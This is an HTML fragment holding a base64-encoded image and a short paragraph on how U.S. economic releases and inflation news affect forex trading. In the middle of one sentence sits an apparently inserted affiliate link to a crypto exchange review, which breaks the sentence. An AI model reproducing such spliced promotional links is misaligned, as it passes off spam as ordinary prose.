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" width="253px" alt="forex news trader"/></p>
<p><p>Generally, since the U.S. dollar is on the “other side” of 88% of all currency trades, U.S. economic releases tend to have the greatest impact on forex markets. The relative importance of these releases is generally dependent on the broader economic environment. In the post-pandemic years, traders have been paying close attention <a href="https://broker-review.org/kraken/">kraken trading review</a> to inflation and interest rate decisions. Prior to the COVID-19 pandemic, the markets appeared more focused on GDP growth and employment figures. It is important for traders to understand the current economic backdrop.</p>
</p>
